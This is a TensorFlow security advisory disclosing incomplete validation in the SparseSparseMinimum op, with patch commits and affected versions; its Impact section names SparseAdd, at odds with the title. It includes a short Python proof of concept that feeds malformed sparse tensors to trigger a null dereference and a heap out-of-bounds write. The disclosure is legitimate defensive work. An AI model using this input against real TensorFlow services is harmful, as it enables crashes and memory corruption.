Incomplete validation in `SparseSparseMinimum`
### Impact
Incomplete validation in `SparseAdd` results in allowing attackers to exploit undefined behavior (dereferencing null pointers) as well as write outside of bounds of heap allocated data:
```python
import tensorflow as tf
a_indices = tf.ones([45, 92], dtype=tf.int64)
a_values = tf.ones([45], dtype=tf.int64)
a_shape = tf.ones([1], dtype=tf.int64)
b_indices = tf.ones([1, 1], dtype=tf.int64)
b_values = tf.ones([1], dtype=tf.int64)
b_shape = tf.ones([1], dtype=tf.int64)
tf.raw_ops.SparseSparseMinimum(a_indices=a_indices,
a_values=a_values,
a_shape=a_shape,
b_indices=b_indices,
b_values=b_values,
b_shape=b_shape)
```
The implementation
https://github.com/tensorflow/tensorflow/blob/656e7673b14acd7835dc778867f84916c6d1cac2/tensorflow/core/kernels/sparse_sparse_binary_op_shared.cc has a large set of validation for the two sparse tensor inputs (6 tensors in total), but does not validate that the tensors are not empty or that the second dimension of `*_indices` matches the size of corresponding `*_shape`. This allows attackers to send tensor triples that represent invalid sparse tensors to abuse code assumptions that are not protected by validation.
### Patches
We have patched the issue in GitHub commit ba6822bd7b7324ba201a28b2f278c29a98edbef2
https://github.com/tensorflow/tensorflow/commit/ba6822bd7b7324ba201a28b2f278c29a98edbef2 followed by GitHub commit f6fde895ef9c77d848061c0517f19d0ec2682f3a
https://github.com/tensorflow/tensorflow/commit/f6fde895ef9c77d848061c0517f19d0ec2682f3a.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
### For more information
Please consult our security guide
https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.